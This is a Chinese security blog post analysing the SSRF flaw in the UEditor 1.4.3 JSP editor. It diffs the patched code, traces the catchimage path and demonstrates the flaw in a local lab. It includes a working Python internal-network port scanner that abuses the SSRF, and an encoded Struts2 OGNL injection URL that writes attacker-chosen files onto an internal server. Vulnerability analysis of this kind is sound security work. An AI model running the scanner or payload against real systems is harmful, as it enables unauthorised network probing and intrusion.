作者: 浮萍@猎户安全实验室
公众号:[猎户安全实验室](https://mp.weixin.qq.com/s/OPbyYQNWiN2dy_BHhqd9eg "猎户安全实验室")
前些时间测试的时候遇到了一个系统采用了UEditor编辑器,版本为1.4.3。已知该编辑器v1.4.3版本存在SSRF漏洞,虽然是Bool型的SSRF,除了可以进行内网探测外,也可以根据web应用指纹信息,之后进行进一步的测试。
#### 0x01 前言
查看官方的更新日志可以发现UEditor编辑器在版本1.4.3.1修复了SSRF漏洞。
![](https://images.seebug.org/content/images/2018/05/77f8fc17-df19-4c05-aa17-f1e53c60b0f5.jpg-w331s)
那版本1.4.3应该存在SSRF漏洞,本着能搜索就不动手的原则搜了一下,发现wooyun-2015-0133125中提到过这类的漏洞。但我这里是jsp版本的,里面提到jsp版本不一样,只好去分析一下漏洞产生的位置。
#### 0x02 漏洞分析
那我们需要查看版本1.4.3与1.4.3.1有什么不同,从而找到存在问题的地方。该项目的代码托管在Github上,地址为:<https://github.com/fex-team/ueditor/></https://github.com/fex-team/ueditor/>。
查看版本1.4.3.1下的jsp代码.
![](https://images.seebug.org/content/images/2018/05/de6cf9be-bab5-4576-9b10-760935b37534.jpg-w331s)
可以发现在该版本有一次commit,commitId 为`a1820147cfc3fbe2960a7d99f8dfbe338c02f0b6`。根据字面意思应该是增加了修复SSRF的代码。
下载下来后对比一下v1.4.3.1和v1.4.3代码有什么不同(这里仅对比jsp下的代码)。
![](https://images.seebug.org/content/images/2018/05/eb0bfa59-2add-4e12-b957-5869f503fd4f.jpg-w331s)
发现在v1.4.3.1中修改了jsp/src/com/baidu/ueditor/hunter/ImageHunter.java的validHost方法。
```
privatebooleanvalidHost ( String hostname) {
try {
InetAddressip = InetAddress.getByName(hostname);//根据主机名获取ip
if (ip.isSiteLocalAddress()) {//是否为地区本地地址
returnfalse;
}
} catch (UnknownHostExceptione) {
returnfalse;
}
return !filters.contains( hostname );
}
```
新增了对ip地址是否为内部地址的判断。而在v1.4.3中仅仅是做了是否为过滤的ip地址。
```
privatebooleanvalidHost ( String hostname) {
return !filters.contains( hostname );
}
```
isSiteLocalAddress方法作用是当IP地址是地区本地地址(SiteLocalAddress)时返回true,否则返回false。
IPv4的地址本地地址分为三段:10.0.0.0~ 10.255.255.255、172.16.0.0 ~ 172.31.255.255、192.168.0.0 ~192.168.255.255。
搜索后发现在captureRemoteData中调用了validHost方法。
![](https://images.seebug.org/content/images/2018/05/733a53b3-3ed9-4a81-8d4e-37f112253499.jpg-w331s)
根据代码可以分析:首先使用validHost对url进行判断,如果不合法,就提示“被阻止的远程主机”;当满足条件后会使用validContentState方法查看返回的状态是否为200,若不为200,则提示“远程连接出错”;进而对后缀、文件大小进行判断,都符合之后才进行图片的保存。如果url无法访问,则提示“抓取远程图片失败”。
所以可以根据返回的内容,来推断该url对应的主机是否可以访问。由于在版本v1.4.3中没有对请求的主机进行验证,从而造成了SSRF漏洞。
继续查看在capture方法中调用了captureRemoteData。
```
publicStatecapture ( String[] list ){
MultiStatestate = newMultiState( true );
for ( String source : list ) {
state.addState( captureRemoteData( source ));
}
return state;
```
在invoke中调用了capture.
```
publicStringinvoke() {
if ( actionType == null || !ActionMap.mapping.containsKey(actionType ) ) {
returnnewBaseState( false, AppInfo.INVALID_ACTION ).toJSONString();
}
...
Statestate = null;
intactionCode = ActionMap.getType( this.actionType );
...
switch ( actionCode ) {
...
caseActionMap.CATCH_IMAGE:
conf = configManager.getConfig(actionCode );
String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) );
state = newImageHunter( conf ).capture( list );
break;
...
}
returnstate.toJSONString();
}
```
当调用capture需要满足条件为actionCode为`ActionMap.CATCH_IMAGE`,在ActionMap中value为`ActionMap.CATCH_IMAGE`对应的key为catchimage。所以当actionType值为catchimage,即action参数对应为catchimage时,才可能触发SSRF漏洞。下面对漏洞进行验证。
#### 0x03 漏洞验证
这里用的是v1.4.3 jsp版本,下载ueditor1_4_3-utf8-jsp.zip,之后进行配置(可以参考<http://fex.baidu.com/ueditor/#server-jsp></http://fex.baidu.com/ueditor/#server-jsp>)。
![](https://images.seebug.org/content/images/2018/05/b44b23b0-6ac1-4d1f-9c25-ca7cb1c4e81d.jpg-w331s)
功能实现的入口文件是jsp/controller.jsp。由上述分析可知需要满足action参数为catchimage。
在case ActionMap.CATCH_IMAGE中下断点,然后进行调试。
访问链接<http://localhost:8088/jsp/controller.jsp?action=catchimage></http://localhost:8088/jsp/controller.jsp?action>
![](https://images.seebug.org/content/images/2018/05/0b7a09f3-d6c7-4dce-91da-2674f9b57d0e.jpg-w331s)
继续运行发现list为空,然后就抛出了异常。
再次运行,查看list数据从何而来。
![](https://images.seebug.org/content/images/2018/05/583157ae-a06d-4007-97dc-c99e845d8780.jpg-w331s)
可以看出list的数据从浏览器source[]参数而来。这里source[]需要后缀为图片格式,具体可以查看config.js中的catcherAllowFiles。
已知192.168.135.133开启了tomcat服务,且端口为8080。我们这里访问一张不存在的图片,例如用UUID生成一张图片的名称。
构造请求链接:<http://localhost:8088/jsp/controller.jsp?action=catchimage&source[]=http://192.168.135.133:8080/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png>
![](https://images.seebug.org/content/images/2018/05/9864666c-6677-4db5-b38b-0e1da5a6c33f.jpg-w331s)
当进入validHost方法时,由于被访问的主机地址不在过滤的范围,所以返回true。
这里可以发现,仅仅对127.0.0.1、localhost和img.baidu.com进行了限制,当ip为本地地址时并没有限制,从而可以进行内网探测。
![](https://images.seebug.org/content/images/2018/05/e4beec73-bfa2-4f59-9ebd-007b52f63f22.jpg-w331s)
而该图片由于不存在,所以状态码为404,到此抓取图片过程结束,并返回结果。
这里可以根据页面返回的结果不同,来判断该地址对应的主机端口是否开放。可以总结为以下几点:
1. 如果抓取不存在的图片地址时,页面返回{"state": "SUCCESS", list: [{"state":"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state为“远程连接出错”。
2. 如果成功抓取到图片,页面返回{"state": "SUCCESS", list: [{"state": "SUCCESS","size":"5103","source":"http://192.168.135.133:8080/tomcat.png","title":"1527173588127099881.png","url":"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"} ]},即state为“SUCCESS”。
3. 如果主机无法访问,页面返回{"state":"SUCCESS", list: [{"state": "\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25"}]},即state为“抓取远程图片失败”。
由于除了在config.js中的catcherLocalDomain配置了过滤的地址外,没有针对内部地址进行过滤,所以可以根据抓取远程图片返回结果的不同,来进行内网的探测。
#### 0x04 代码实现
由上述分析,根据返回包中的state进行判断,当state为"远程连接出错"或者为“SUCCESS”时表示该主机存在,且对应的端口为开放状态。
代码如下:
```
__Date__="20180524"
'''
Usage:
python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133
python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24
Python version: 3.6.2
requirements:IPy==0.83
'''
import sys
import json
import requests
from IPy import IP
defcheck(url,ip,port):
url = '%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png' %(url,ip,port)
res = requests.get(url)
result = res.text
result = result.replace("list","\"list\"")
res_json = json.loads(result)
state = res_json['list'][0]['state']
if state == '远程连接出错'or state == 'SUCCESS':
print(ip,port,'is Open')
defmain(url,ip):
ips = IP(ip)
ports = [80,8080]
for i in ips:
for port in ports:
check(url,i,port)
if__name__ == '__main__':
url = sys.argv[1]
ip = sys.argv[2]
main(url,ip)
```
由于返回的结果为`{"state": "SUCCESS", list: [{"state":"..."} ]}`并不能直接用json来解析,需要将list替换为“list”后才可以作为json来解析。当然也可以直接使用burp来测试。
在实际测试中的测试结果如下:
![](https://images.seebug.org/content/images/2018/05/65e4c428-504c-4937-ae33-c13357722c47.jpg-w331s)
#### 0x05 综合利用
对于这样的Bool型SSRF ,页面仅返回了状态,而没有更多别的信息,要想进一步利用,可以根据如下的思路:
内网探测->应用识别->攻击Payload->查看结果
##### 5.1 内网探测
首先进行内网探测,查看内网开放的主机和端口。这里以本地为例。
执行命令:
```
python SSRF_Ueditor_jsp.pyhttp://localhost:8088/ 192.168.135.155
192.168.135.15580is Open
192.168.135.1558080is Open
```
发现端口80 和 8080 开放,然后进行应用的识别。
##### 5.2 应用识别
80端口由于没有可以识别的特征,所以未识别到应用的类型,而8080端口可以识别出来为tomcat服务器。
![](https://images.seebug.org/content/images/2018/05/32525371-a7cd-4a3e-a347-8eb2bcac0956.jpg-w331s)
然后尝试查看是否可能存在Struts2漏洞。
##### 5.3 攻击Payload
由于在抓取远程图片时,会请求给出的URL地址,所以可以利用Struts2漏洞在内网服务器(这里为192.168.135.155)上写入一个后缀为图片格式(如png、jpg)的文件(因为只能抓取图片格式的文件,所以这里写入了图片后缀的文件),然后利用Ueditor抓取图片的功能,将写入的图片文件抓取到ueditor服务器中,然后访问图片查看攻击结果。
首先写文件,这里利用Struts2漏洞在内网服务器web项目下写入一个名字为b5e592d2-ab5b-476d-865a-8299a0625490.png的文件,内容为Struts2_Test.png。
![](https://images.seebug.org/content/images/2018/05/a196f783-07fc-4406-ae54-edaa1494d615.jpg-w331s)
这里之所以写入内容为Struts2_Test.png,是由于在抓取图片时会判断图片链接的后缀是否为图片格式。当然还有其他的写法,例如
`http://192.168.135.135:8080/Struts2_bugs-0.0.1-SNAPSHOT/test.action%3Fredirect%253A%24%257B%2523req%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%2523b%253D%2523req.getRealPath(%2522/%2522)%252B’b5e592d2-ab5b-476d-865a-8299a0625490.png’,%2523res%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%2523res.getWriter().print(%2522oko%2522),%2523res.getWriter().print(%2522kok%2522),%2523res.getWriter().flush(),%2523res.getWriter().close(),new%2520java.io.BufferedWriter(new%2520java.io.FileWriter(%2523b)).append(%2523req.getParameter(%2522shell%2522)).close()%257D%26shell%3DStruts2_Test&aaa.png`也可以写入。
然后再次利用Ueditor抓取远程图片的功能将写入内网服务器的“图片文件”抓取下来,查看其内容。
这里需要抓取的图片地址为:<http://192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png></http://192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png>
![](https://images.seebug.org/content/images/2018/05/c87dbba5-9568-430d-9059-6c00ecde1119.jpg-w331s)
由上图可以看出,最后抓取的文件保存地址为:/ueditor/jsp/upload/image/20180525/1527181480175039672.png
##### 5.4 查看结果
然后访问<http://localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png></http://localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png>
查看是否攻击成功。
![](https://images.seebug.org/content/images/2018/05/7d217b16-8338-45c4-b99f-ea9ca7c19f78.jpg-w331s)
表明攻击成功。
#### 0x06 总结
由于UEditor在v1.4.3之前没有加入对内部IP的限制,所以在使用抓取图片的功能时,造成SSRF漏洞。可以进行内网服务器的探测。然后根据内网服务器的特征(如/jmx-console/images/logo.gif, /tomcat.png),判断其使用的组件,并猜测可能存在的漏洞,然后进行进一步的渗透。
全部评论 (1)